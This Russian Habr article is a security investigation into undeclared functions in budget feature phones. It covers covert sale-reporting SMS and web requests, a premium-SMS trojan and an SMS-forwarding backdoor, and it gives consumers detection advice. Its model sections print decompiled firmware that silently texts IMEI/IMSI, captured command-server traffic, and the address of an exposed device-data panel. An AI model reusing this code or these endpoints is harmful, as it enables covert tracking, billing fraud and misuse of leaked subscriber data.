Трояны и бэкдоры в кнопочных мобильных телефонах российской розницы

By

 

Habr

17 min

View Original

TL;DR: 

немалое количество простых кнопочных телефонов, присутствующих в российских магазинах, содержат нежелательные недокументированные функции. Они могут совершать автоматическую отправку СМС-сообщений или выходить в интернет для передачи факта покупки и использования телефона (передавая IMEI телефона и IMSI SIM-карт). Встречаются модели со встроенным трояном, отправляющий платные СМС-сообщения на короткие номера, текст которого загружается с сервера, также бывают устройства с настоящим бэкдором, пересылающим входящие СМС-сообщения на сервер злоумышленников.

Статья описывает детали вредоносных функций и способы их обнаружения.

Введение

Исследование мобильных телефонов началось с простой идеи: можно ли использовать эти дешевые и доступные в любом магазине трубки для приёма СМС-сообщений на компьютер? Телефоны гораздо дешевле распространённых USB GSM-модемов, к тому же большинство моделей поддерживают 2 SIM-карты, а некоторые и до четырёх.
В силу почти полного отсутствия информации о наличии и возможностях AT-порта в современных телефонах, я решил купить несколько максимально разных устройств для проверки их функциональности.
Но как выбрать по-настоящему разные телефоны?

Три кита мобильных SoC

Существует три основных производителя систем-на-чипе для кнопочных звонилок:

	RDA Microelectronics	Spreadtrum	Mediatek
Архитектура	MIPS	ARM	ARM
Стандарты		2G/3G/4G	2G/3G/4G
	Более не выпускаются, но всё ещё продаются. Компания куплена Spreadtrum.	Ребрендированы в Unisoc, но продолжают выпускать чипы под старым брендом.	Имеют линейки для смартфонов, кнопочных телефонов, IoT, встраиваемых устройств, и т.д.

Каждый производитель чипов предоставляет свой SDK для разработки прошивок на его основе. SDK разных производителей разительно отличаются и, как правило, пишутся под конкретную линейку чипов и задачу. Функции конечного устройства также зависят от операционной системы: SDK может быть интегрирован в ОС реального времени через HAL.

Не обязательно покупать десятки и сотни телефонов для проведения полноценного тестирования: достаточно купить несколько моделей разных производителей SoC и с разными операционными системами.

Что я купил и что получил

Были куплены почти случайные телефоны, ориентируясь по визуальной составляющей интерфейса на фотографиях и в видеообзорах и немногочисленной информации о SoC в интернете:

• Inoi 101 (RDA8826/SC6533, 600₽)

• DEXP SD2810 (SC6531E, 699₽)

• Itel it2160 (MT6261, 799₽)

• Irbis SF63 (SC6531DA, 750₽)

• F+ Flip 3 (SC6531DA, 1499₽)

Довольно быстро я осознал, что с телефонами что-то не так…

Классификация нежелательных функций

Вредоносную активность телефонов можно разделить на три категории:

1. Отправка СМС и выход в интернет для «отслеживания продаж»
   Наиболее безобидная функция, не наносящая значительный материальный урон мобильному счёту. Устройство без ведома пользователя отправляет СМС (на обычный российский номер) или выходит в интернет, передавая IMEI-номер телефона и IMSI SIM-карты неустановленной организации или частному лицу.
   Передача данных осуществляется либо один раз до сброса устройства в заводское состояние, либо после каждого извлечения аккумулятора.

2. Троян, отправляющий СМС на платные (короткие) номера, предварительно загрузив текст и номер с сервера через интернет
   Функция, систематически списывающая средства со счёта мобильного номера. Помимо частого автоматического и скрытного выхода в интернет (что само по себе расходует деньги на не-пакетных тарифах), мобильное устройство отправляет отдельно тарифицируемые СМС-сообщения на короткие номера, перехватывает подтверждающую СМС и отправляет текст подтверждения в ответ.

3. Бэкдор, перехватывающий входящие СМС-сообщения и отправляющий их на сервер
   Позволяет злоумышленникам использовать ваш номер телефона для регистраций на сервисах, требующих подтверждения через СМС. Телефон периодически выходит в интернет и получает команды с сервера, результат выполнения которых отправляется обратно на сервер.

Методы обнаружения и анализа вредоносной активности

Проверка детализации мобильного оператора — способ, доступный любому человеку. Достаточно вставить рабочую SIM в телефон, включить его и оставить лежать полные сутки, после чего запросить детализацию в виде файла через онлайн-кабинет мобильного оператора. Данный метод позволяет выявить факт выхода в интернет (без адресов хостов и передаваемого содержимого), факт отправки СМС-сообщения и номер получателя, точное время совершенных действий.
Детализация помогает легко понять, содержится ли в телефоне нежелательная функциональность, без подробностей.

Детализация расходов мобильного оператора

Анализ прошивки телефона — затратный метод, требующий глубоких познаний в устройстве телефона и способах обратной разработки ПО, зато позволяющий детально проанализировать вредоносные функции прошивки, а также избавиться от них.

Анализ прошивки состоит из трёх этапов:

1. Получение дампа из телефона или поиска и скачивания прошивки в интернете

2. Распаковки сжатых частей прошивки при необходимости

3. Исследования кода прошивки вручную

Самый простой и универсальный, но затратный или опасный способ дампа прошивки — использование так называемых «боксов» — аппаратно-программных комплексов от сторонних разработчиков для прошивки и восстановления широкого модельного ряда телефонов. Лет 15 назад боксы были распространены и востребованы, т.к. у каждого производителя телефонов был свой кабель, свой метод подключения к компьютеру в режиме сервисного обслуживания, часто требовалось подключение к контактным панелям (падам) в аккумуляторном отсеке. Современным телефонам такое, как правило, не нужно, и актуальные «боксы» представляют собой лишь особое ПО, способное производить все действия через USB-подключение.

Для снятия прошивки я воспользовался взломанной версией Miracle Box. Чтобы модификации, сделанные крякерами, нельзя было легко посмотреть путём сравнения оригинального и измененного файла, на взломанную версию навешан Enigma Protector, прямо поверх VMProtect, который используется в оригинальном ПО. Из-за этого программа запускается около минуты и тормозит на отрисовке кнопок и компонентов при переключении вкладок.
Взломщики не озаботились отключением интернет-функций программы, что позволило авторам выявлять использование взломанной версии и, по всей видимости, выполнять произвольный код на компьютере пользователя: в окне лога появляются устрашающие надписи о сборе и отправке всех сохранённых паролей на сервер.

Miracle Box

Преимущество подобного ПО в полной автоматизации процесса: программа сама определит конкретную модель процессора, адрес флеш-памяти и её размер. Некоторые боксы содержат встроенные эксплоиты для обхода Secure Boot и других подобных защит.

Существуют и альтернативные варианты получения дампов. Для чипов Mediatek можно воспользоваться официальной программой MTK Flash Tool, в которой есть функция чтения произвольного адреса памяти, а для RDA можно воспользоваться готовым скриптом, позволяющим прочитать в т.ч. оперативную память.
Официального ПО для Spreadtrum найти не удалось.

Для распаковки прошивки основного раздела ALICE чипов Mediatek можно воспользоваться сторонней разработкой unalice, разжимающий файл: https://github.com/donnm/mtk_fw_tools/
Про работу с прошивками RDA я уже писал в статье «Мелкая доработка прошивки кнопочного телефона на платформе RDA8826 (SC6533, MIPS): отключаем Funbox, взламываем игры». Самый простой способ — дать распаковать всё самому телефону, после чего извлечь распакованные данные из оперативной памяти прямо во время работы телефона.
На Spreadtrum основная часть прошивки сжата модифицированным LZMA, распаковщик к которому отсутствует в публичном доступе. Для распаковки необходимо модифицировать несжатый код таким образом, чтобы он выполнил распаковку аппаратным устройством и передал распакованный код на компьютер, но на моём единственном устройстве порт UART был настроен на DSP, а не основной процессор, и переключить мне его не удалось. Можно было задействовать другие методы вывода (например, воспользовавшись динамиком или фонариком в качестве транспорта), но я не стал этого делать.

Базовая станция 2G — удобный и лёгкий в настройке метод массового практического анализа вредоносной активности без предварительной подготовки каждого устройства, однако требующий значительных капитальных затрат на покупку SDR-оборудования.
Метод даёт доступ ко всему сетевому трафику GSM/GPRS, с возможностью его просмотра и модификации на лету.

Моя конфигурация:

• bladeRF x115 ($650)

• Raspberry Pi 400 ($100)

• Открытое и бесплатное ПО базовой станции YateBTS

• Wireshark для анализа GSM и интернет-трафика

BladeRF питается от USB и не требует никакой дополнительной обвязки. Достаточно обычной дипольной антенны для начала работы.
YateBTS автономно реализует все компоненты GSM-стека, благодаря чему устанавливается и настраивается буквально за 30 минут. Отлично подходит для подобных исследований!

Телефоны

Inoi 101

Первое и самое «чистое» купленное устройство — Inoi 101, о котором я уже писал отдельную заметку

Этот телефон не содержит вредоносных функций. Присутствуют типичные нежелательные вещи вроде меню СМС-подписок и платные игры, но устройство не выполняет какие-либо действия самовольно или скрытно.

Itel it2160

Itel — китайский производитель, выпускающий устройства для развивающихся стран. Входит в холдинг Transsion, объединяющий бренды Tecno, itel, Infinix, Spice.

Модель Itel it2160 сообщает «о продаже» через интернет, без предупреждения.

POST /SaleStatistics/sendsale/sendSale?ua=itel-it2160&screen=128X160&imsi=9250991625668426&imei=354648020000251&phone_version=it2160-DL194-EnRuUk-RU-20210201&platform=2&device=1&lang=Русский язык&timeStamp=2021-01-0102:00:00&auth=ed6bdd17212ec9c9699a6b0a693870fd HTTP/1.1
Host: asv.transsion.com:8080
Cache-Control: no-cache
Pragma: no-cache
Connection: Keep-Alive
x-wap-profile: http://nds.nokia.com/uaprof/N6280r100.xml
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 31 May 2021 16:05:17 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 52
Connection: keep-alive

{"response":{"code":"201","desc":"Repeat Products"}}

На домене asv.transsion.com была найдена панель, содержащая информацию о проданных устройствах, которую они сами присылают на сервер:

• IMEI

• Страна

• Модель

• Версия прошивки

• Язык

• Время активации

• Идентификатор базовой станции (LAC/TAC)

Идентификатор базовой станции позволяет определить местоположение телефона с точностью до ≈5 километров.

Адрес панели: http://asv.transsion.com:8080/openinfo/open/index

F+ Flip 3

Flip 3 российского OEM-поставщика F+ cообщает «о факте продажи» через СМС на номер +79584971255, отсылая IMEI и IMSI в теле сообщения.

Не содержит браузера, не выходит в интернет.

Отправка сообщения с IMEI и IMSI на номер 79584971255

Декомпиляция прошивки выявляет наличие других номеров телефонов для ряда стран: +92313568243 для Пакистана (PLMN 410), +8804445600006 для Бангладеша (PLMN 470), 18049479956 для Азербайджана и Казахстана (PLMN 400, 401), +9156767215 для Индии (PLMN 404, 405).

_BYTE *__fastcall gmb_sms_sales_get_phone_number(int *plmn, int number_, int text_)
{
  int text; // r2
  char *number; // r1

  MEMORY[0x10041098](number_, text_);
  if ( plmn == (int *)410 )
  {
    text = text_;
    number = "+92313568243";
  }
  else if ( (int)plmn > 410 )
  {
    if ( (int)plmn - 410 <= 50 || plmn != (int *)470 )
      goto LABEL_17;
    text = text_;
    number = "+8804445600006";
  }
  else
  {
    if ( plmn == (int *)400 )
    {
LABEL_17:
      text = text_;
      number = "18049479956";
      return sub_10324500(number_, (unsigned __int8 *)number, text);
    }
    if ( (int)plmn > 400 )
    {
      if ( plmn == (int *)401 || plmn != (int *)404 && plmn != (int *)405 )
        goto LABEL_17;
      text = text_;
      number = "+9156767215";
    }
    else
    {
      if ( plmn != (int *)250 )
        goto LABEL_17;
      text = text_;
      number = "+79584971255";
    }
  }
  return sub_10324500(number_, (unsigned __int8 *)number, text);
}

В тексте СМС помимо IMEI и IMSI передаются три константы, по всей видимости означающие модель телефона и номер партии (дату производства):

…
sms_prepare_struct((int)v5, 32);
sub_10309198();
imsi = (const char *)get_imsi();
if ( !imsi )
  imsi = &str_zero;
imei = (const char *)get_imei();
if ( !imei )
  imei = "000000000000000";
strcpy((int)sms_str, "#%s#%s#%s#%d#%d#", imsi, imei, "250124", 64, 1);
result = schedule_sms((int)sms_str, (int)v5, v0, (int)sms_callback);

Отзывы с Яндекс.Маркета:

После включения, аппарат отправил некое СМС на номер 9584971255. Скорее всего, верну аппарат обратно в магазин.

Подтверждаю. Телефон сам отправил смс на этот номер +79584971255. Списалось 2 рубля, сотовый оператор у меня МТС. В телефоне по умолчанию не сохраняются СМС, если это не настроить. Увидел списание в детализации счета. После сброса к заводским настройкам телефон опять отправил смс на этот номер, списалось ещё 2 рубля. Пришёл ответ от поддержки, что они о таком в первый раз слышат. Несмотря на то, что я указал о таком же случае у другого владельца, отправив их сюда прочитать отзыв. Они не захотели разбираться, предположив, что я сам случайно отправил смс или это отправилось смс предыдущего человека, который смотрел телефон.

На 4pda были обнаружены архивы прошивок от нескольких моделей фирмы BQ, которые очень похожи на прошивки F+. Судя по всему, это не перепакованный архив прошивки от OEM-производителя, содержащий помимо самой прошивки еще и файлы, необходимые для её отладки. В частности, в архивах содержится прошивка в виде .elf-файла, без сжатых секций, с отладочными символами.

Открыв .elf-файл в IDA, мы можем увидеть оригинальные названия функций и переменных.

Функция отправки СМС называется gmb_sms_sales_send_sms_ext, где gmb — вероятно, gmobi — поставщик сервиса смс-подписок.

Я попытался получить подробности об этой функциональности у производителя. С компанией F+ состоялся следующий диалог:

Кнопочный телефон F+ Flip 3 в автоматическом режиме и незаметно для пользователя отправляет СМС-сообщения на номер +79584971255 при установке в него российских SIM-карт, причём отправленное СМС-сообщение не сохраняется в памяти телефона. Сообщения содержат IMEI-номер устройства, IMSI-номер SIM-карты, и три фиксированных значения.
…
Полный формат сообщения следующий: #IMSI#IMEI#250124#64#1# Где IMSI — IMSI-номер SIM-карты, IMEI — IMEI-номер телефона.

С какой целью данная функциональность внедрена в устройства F+?
>>> Нет информации.

Почему о ней не заявляется на официальном сайте, коробке или инструкции устройства?
>>> Потому что этот функционал внедрён не нашими инженерами.

Как обрабатываются полученные данные?
>>> Нет информации.

Какому юридическому или физическому лицу принадлежит номер +79584971255?
>>> Нет информации.

03.06.2021: Мы занимаемся решением данной проблемы. На новых ревизиях с новой прошивкой такой проблемы нет. Однако новая прошивка несовместима со старой ревизией телефонов. Как только в сервисе появится новая прошивка для старых ревизий я Вам сообщу.

15.06.2021: В сервисный центр поступила прошивка SW06 в которой решена эта проблема, обратитесь в ближайший сервисный центр из списка по ссылке https://fplusmobile.ru/support/ для перепрошивки Вашего телефона.

На просьбу выложить обновлённую версию прошивки в открытый доступ получил отказ и дальнейшее игнорирование вопросов.

DEXP SD2810

DEXP SD2810 от российского бренда сети магазинов DNS.
Опасный телефон, расходующий деньги мобильного счёта.

• Сообщает «о продаже» через интернет, без предупреждения
• Передаёт IMEI, IMSI
• Обращается к CnC в интернете и выполняет его команды
• Отправляет платные СМС на короткие номера с текстом, полученным с сервера

Телефон периодически отправляет POST-запросы по незашифрованному HTTP-соединению на домен www.mgs123.com, выполняет ответы сервера на отправку СМС-сообщений.

POST http://www.mgs123.com:8080/fee/mergserv HTTP/1.1
Host: www.mgs123.com
Accept: */*
User-Agent: MOT-E398/0E.20.34R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0 UP.Link/5.1.2.6
Content-Length: 177

BCMD=GetFeeConfig&CRTY=6&IMSI=250991625668426&RIMSI=250991625668426&CTYPE=1&CVER=2001&NONCE=151927053004&PLMN=25099&PMOD=8411&PNUM=&RTYPE=A&SIGN=7295DD12B0B11CF997AC8B4A593D82FA


<?xml version="1.0"?>
<smtinfo>
  <BCMD>GetFeeConfig</BCMD>
  <FNUM>4169</FNUM>
  <CREP>2</CREP>
  <INTV>6000</INTV>
  <FMON>-1</FMON>
  <CTAG>1</CTAG>
  <INFO>null</INFO>
  <FAUTO>0</FAUTO>
  <FMONEY>50.0RUB</FMONEY>
  <KCON>Оплата услуги на 4169%7C88001000633</KCON>
  <FTAG>sms</FTAG>
  <GRABSMS>2</GRABSMS>
  <FMAX>0</FMAX>
  <CCON>Отправьте 2 в ответ на данное</CCON>
  <BSCO>1</BSCO>
  <FPRICE>50.0</FPRICE>
  <FNXT>45</FNXT>
  <FSHD>1</FSHD>
  <FINT>171</FINT>
  <ISTWO>0</ISTWO>
  <DATE>20210815</DATE>
  <FFOC>1</FFOC>
  <FCON>gooo mgs</FCON>
</smtinfo>

Сервер сообщает, на какой номер отправить СМС (директива FNUM, номер 4169), содержание или префикс сообщения (директива FCON, сообщение gooo mgs), а также, помимо всего прочего, ожидаемый ответный текст (CCON, "Отправьте 2 в ответ на данное") и текст ответной СМС (GRABSMS, "2").

Домен www.mgs123.com зарегистрирован в Китае, хостинг тоже находится в этой стране:

$ whois mgs123.com | grep Registrar
Registrar WHOIS Server: grs-whois.hichina.com
Registrar URL: http://whois.aliyun.com
Registrar Registration Expiration Date: 2024-08-01T08:22:22Z
Registrar: Alibaba Cloud Computing (Beijing) Co., Ltd.
Registrar IANA ID: 420
Registrar Abuse Contact Email: DomainAbuse@service.aliyun.com
Registrar Abuse Contact Phone: +86.95187

$ dig +short www.mgs123.com
121.201.57.203

$ whois 121.201.57.203 | grep descr
descr:          Guangdong RuiJiang Science and Tech Ltd.
descr:          Room 404 ,No.100, Lingnan Avenue North,
descr:          Lingnan Building, Foshan, GuangDong,
descr:          CNC Group CHINA169 Guangdong Province Network
descr:          Addresses from CNNIC(HUANDAO)

Факт отправки SMS-сообщения, захваченный через собственную GSM-сеть.

Выдержка из новости "Новокузнечанин купил телефон со встроенной «функцией разорения счёта»":

02.01.2019, мы приобрели телефон Dexp SD2810 [...] в день покупки мы вставили сим-карты и спустя 2 часа со счёта произошло списание денежных в размере 50 рублей. По детализации я увидел, что была отправка смс на номер 4446 и заказан какой-то развлекательный контент [...]

15.01.2019 и 02.02.2019 также были отправлены смс на этот же номер 4446 и списано по 50 р. за каждую.

Irbis SF63

Модель SF63 от российского OEM-поставщика Irbis.
Опасный телефон, использующий номер вашего телефона в коммерческих целях, для регистрации сторонних лиц в интернет-сервисах.

• Сообщает «о продаже» через интернет, без предупреждения
• Передаёт зашифрованные данные на сервер
• Обращается к CnC в интернете и выполняет его команды

Этот «бабушкофон» шёл из магазина с «чистой», обновлённой прошивкой. В интернете для этой модели была найдена одна единственная версия "IRBIS_SF63_GC9106_CTC_V05_GSM_FM_20181010.pac", которая и была установлена на устройство. Она оказалась с бекдором.

Телефон, как и в случае с DEXP, отправляет POST-запросы по HTTP, но эта модель шифрует передаваемые данные собственным алгоритмом с, по всей видимости, фиксированным ключом — шифрованные параметры большую часть времени одинаковы, а если меняются, то незначительно.

Данные передаются на домен hwwap.well2266.com.

GET /checkupdate?p=hxB4ZvBrVc9Hl8wcdORsVcZHmHetYc9sSHwEhuvtWc5Hkf0EYcF0SHGolxF4VEdrXcFsWERwWEhzW8RxSHGoifF4VudsXclvVc9rVuBzVuBySI6NhgZ4WEduVdZHlxV4WuFrVulrVc9sVc9HiHOvYc9HlxwuYc9HmxOrYc9HlHeIYfONk7iwlyWFYcRHjgitYc9HmPsEYc9HhHZ4Vc5oVc5oVE5sX75sWcJsWcJtVB%3D%3D HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Host: hwwap.well2266.com:8077
Connection: Keep-Alive
Cache-Control: no-cache
User-Agent: MAUI WAP Browser
Accept-Charset: utf8,gb2312

HTTP/1.1 200 
Server: nginx/1.12.0
Date: Sat, 19 Jun 2021 15:11:06 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 28
Connection: keep-alive
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Cache-Control: must-revalidate

hfWvjgiGiQa2VE5tVbvrWDvsXgv=

Домен зарегистрирован и хостится в Китае, в облаке Alibaba.

$ whois well2266.com | grep Registrar
Registrar WHOIS Server: grs-whois.hichina.com
Registrar URL: http://whois.aliyun.com
Registrar Registration Expiration Date: 2023-06-17T02:47:49Z
Registrar: Alibaba Cloud Computing (Beijing) Co., Ltd.
Registrar IANA ID: 420
Registrar Abuse Contact Email: DomainAbuse@service.aliyun.com
Registrar Abuse Contact Phone: +86.95187

$ dig +short hwwap.well2266.com
47.88.242.46

$ whois 47.88.242.46 | grep Organization
Organization:   Alibaba.com LLC (AL-3)

Выдержка из заметки "Бабушкофон ворующий смс и телеграм-аккаунты"

Началось все 24 октября 2020 года. [...] телефон радостно прислал мне уведомление, что новый контакт зарегистрировался в телеграм. Сон как рукой сняло ибо в телеграме зарегистрировалась бабушка моей девушки.

Выдержка из заметки "Как получить доступ к смс любого номера или Билайн пробивает дно"

Сегодня приходит сообщение в телеграмме, что моя бабушка теперь в Telegram!

Я сильно удивился, ведь бабушке уже больше 80 лет, телефон кнопочный, без доступа в интернет.

Позвонил ей, уточнил, говорит, что недавно приходил смс-код от номера Telegram.

Результаты

4 из 5 телефонов содержат незадекларированную функциональность, из них:

​ 2 модели расходуют деньги со счёта (отправляют данные после покупки через СМС/интернет);
​ 1 модель выходит в интернет и отправляет платные СМС-сообщения на короткие номера;
​ 1 модель пересылает входящие сообщения через интернет.

Кто виноват?

Прежде всего виноват бренд, под которым продаются телефоны. Бренд заказывает разработку самого устройства и прошивки для него у OEM-производителя, но не проверяет конечное устройство на наличие незадекларированных возможностей. По какой-то причине, многие бренды не выкладывают прошивку на сайт, а отправляют обновлять устройство в сервисный центр в случае проблем.
Бренды F+ и BQ отрицают проблему или умалчивают о ней.

OEM-производитель готов внедрить любой каприз бренда или производителя сторонних модулей, за ваши же деньги.

Отсутствие в России специализированного министерства, которое бы занималось подобными проблемами. Минцифры (бывший Минсвязи) проверяют только сертификацию продукции на соответствие мировым и российским стандартам связи, но не функциональность конечного устройства.
Минцифры порекомендовало обращаться в Роспотребнадзор, перенеся проблему в плоскость продавец-покупатель.

Министерство цифрового развития, связи и массовых коммуникаций Российской Федерации [...] рассмотрело Ваше обращение о производителе оборудования ООО «Ф-Плюс Мобайл» и сообщает следующее.

Согласно Положению, Минцифры России осуществляет функции по выработке и реализации государственной политики и нормативно-правовому регулированию в сфере связи [...]

Информируем, что средства связи, указанные в Вашем первоначальном обращении, прошли процедуру обязательного подтверждения соответствия Правилам применения оборудования радиодоступа. [...]

Следует отметить, что в соответствии с Правилами при декларировании телефонных аппаратов для сетей подвижной радиотелефонной связи проверка наличия или отсутствия отправки коротких сообщений в автоматическом режиме не предусмотрена.

Федеральный государственный надзор в области защиты прав потребителей осуществляется уполномоченным федеральным органом исполнительной власти – Федеральной службой по надзору в сфере защиты прав потребителей и благополучия человека (Роспотребнадзор).

Что делать?

Мобильных телефонов огромное количество, проверить их все невозможно.

• Покупайте только проверенные мировые бренды: телефоны Nokia не содержат вредоносной функциональности, но и стоят в 2-4 раза дороже «отечественных» аналогов;

• Читайте отзывы перед покупкой: лучше купить проверенную модель, давно присутствующую на рынке, с безупречной репутацией, чем рисковать с новинками;

• Отслеживайте поведение нового телефона после покупки в течение суток, по детализации оператора;

• Пишите в Роспотребнадзор, ФСБ (?) и производителю, если обнаружили непонятную активность.

Просмотры: